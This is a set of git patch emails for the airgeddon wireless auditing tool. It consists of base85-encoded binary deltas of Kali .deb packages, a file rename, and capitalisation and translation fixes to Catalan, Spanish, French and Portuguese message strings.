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 l007=vEs4BXZr#G00004Sz6|4c>DkW literal 0 HcmV?d00001 diff --git a/binaries/kali/airgeddon_6.2-1_all.deb b/binaries/kali/legacy/airgeddon_6.2-1_all.deb similarity index 100% rename from binaries/kali/airgeddon_6.2-1_all.deb rename to binaries/kali/legacy/airgeddon_6.2-1_all.deb From ee33cf28584e8a6b7cbb8ab5edef79b35acb25dc Mon Sep 17 00:00:00 2001 From: cLn73 Date: Fri, 28 Apr 2017 07:04:30 +0200 Subject: [PATCH 19/28] Updated Catalan Translations --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index b108c8fc8..6cdf45611 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3659,7 +3659,7 @@ function language_strings() { arr["ENGLISH",420]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: ${normal_color} ${urlgithub_wiki}/Docker" arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["FRENCH",420]="${pending_of_translation} Nous avons détecté que vous utilisez airgeddon un conteneur Docker. Dans ce hostapd d'attaque est utilisé pour créer un point d'accès faux. Cette composante a tendance à entrer en conflit avec network-manager. Du récipient, airgeddon ne peut pas le gérer. Si vous avez network-manager installé sur votre machine host, fermer ou tuer des processus contradictoires ou d'obtenir une erreur. Pour plus d'informations, voir la section Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["CATALAN",420]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon em um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -3667,7 +3667,7 @@ function language_strings() { arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" arr["FRENCH",421]="${pending_of_translation} Des questions? visitez notre Wiki: ${normal_color}${urlgithub_wiki}" - arr["CATALAN",421]="${pending_of_translation} Dubtes? visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" + arr["CATALAN",421]="Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" @@ -3675,7 +3675,7 @@ function language_strings() { arr["ENGLISH",422]="The automatic update has been disabled when airgeddon is running in a Docker container. If you want to update it, download again the image tagged as \"latest\"" arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" arr["FRENCH",422]="${pending_of_translation} Mise à jour automatique est désactivée lorsque airgeddon fonctionne sur un conteneur Docker. Si vous voulez le mettre à jour télécharger à nouveau tag image \"latest\"" - arr["CATALAN",422]="${pending_of_translation} L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" + arr["CATALAN",422]="L'actualització automàtica s'ha desactivat quan airgeddon s'executa en un contenidor de Docker. Si vols actualitzar-lo descàrrega de nou la imatge amb tag \"latest\"" arr["PORTUGUESE",422]="A atualização automática é desativada quando airgeddon é executado em um container Docker. Se você quiser atualizar faça o download novamente da imagem em \"latest\"" arr["RUSSIAN",422]="Когда airgeddon работает в контейнере Docker, то автоматическое обновление отключено,. Если вы хотите обновить программу, то снова загрузите образ отмеченный как \"latest\"" arr["GREEK",422]="Η διαδικασία της αυτόματης ενημέρωσης είναι απενεργοποιημένη όταν το airgeddon τρέχει σε Docker container. Εάν θέλετε να το ενημερώσετε, κατεβάστε ξανά το αρχείο με την ετικέτα \"latest\"" From f95bc7fc810f0e8f1f52e49bcfb624cb3912cba5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 18:10:11 +0200 Subject: [PATCH 20/28] Minor changes on string #421 --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 6cdf45611..1ef44cc0e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3665,10 +3665,10 @@ function language_strings() { arr["GREEK",420]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" - arr["SPANISH",421]="¿Dudas? visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" + arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" arr["FRENCH",421]="${pending_of_translation} Des questions? visitez notre Wiki: ${normal_color}${urlgithub_wiki}" arr["CATALAN",421]="Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" - arr["PORTUGUESE",421]="Dúvidas? visite a Wiki: ${normal_color}${urlgithub_wiki}" + arr["PORTUGUESE",421]="Dúvidas? Visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="Απορίες; Επισκεφθείτε το Wiki μας: ${normal_color}${urlgithub_wiki}" From 9dfce3ed891b3ec077d02f280abd78167c252583 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 18:10:56 +0200 Subject: [PATCH 21/28] Forgotten upercase on string #421 --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 1ef44cc0e..691fc14c4 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3666,7 +3666,7 @@ function language_strings() { arr["ENGLISH",421]="Doubts? Visit our Wiki: ${normal_color}${urlgithub_wiki}" arr["SPANISH",421]="¿Dudas? Visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" - arr["FRENCH",421]="${pending_of_translation} Des questions? visitez notre Wiki: ${normal_color}${urlgithub_wiki}" + arr["FRENCH",421]="${pending_of_translation} Des questions? Visitez notre Wiki: ${normal_color}${urlgithub_wiki}" arr["CATALAN",421]="Dubtes? Visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" arr["PORTUGUESE",421]="Dúvidas? Visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="Вопросы? Посетите Wiki: ${normal_color}${urlgithub_wiki}" From d116af78a23d1ac8f8cbd112c90a63c592c722ef Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 28 Apr 2017 18:27:01 +0200 Subject: [PATCH 22/28] Updated Kali deb package --- binaries/kali/airgeddon_6.21-1_all.deb | Bin 120792 -> 120804 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/binaries/kali/airgeddon_6.21-1_all.deb b/binaries/kali/airgeddon_6.21-1_all.deb index 2009d84abf6a0cf917f36f97fac780aaa3a8df5f..ee2ddf5475cb62beef210dbe426b0efb5211cbe7 100644 GIT binary patch delta 120742 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 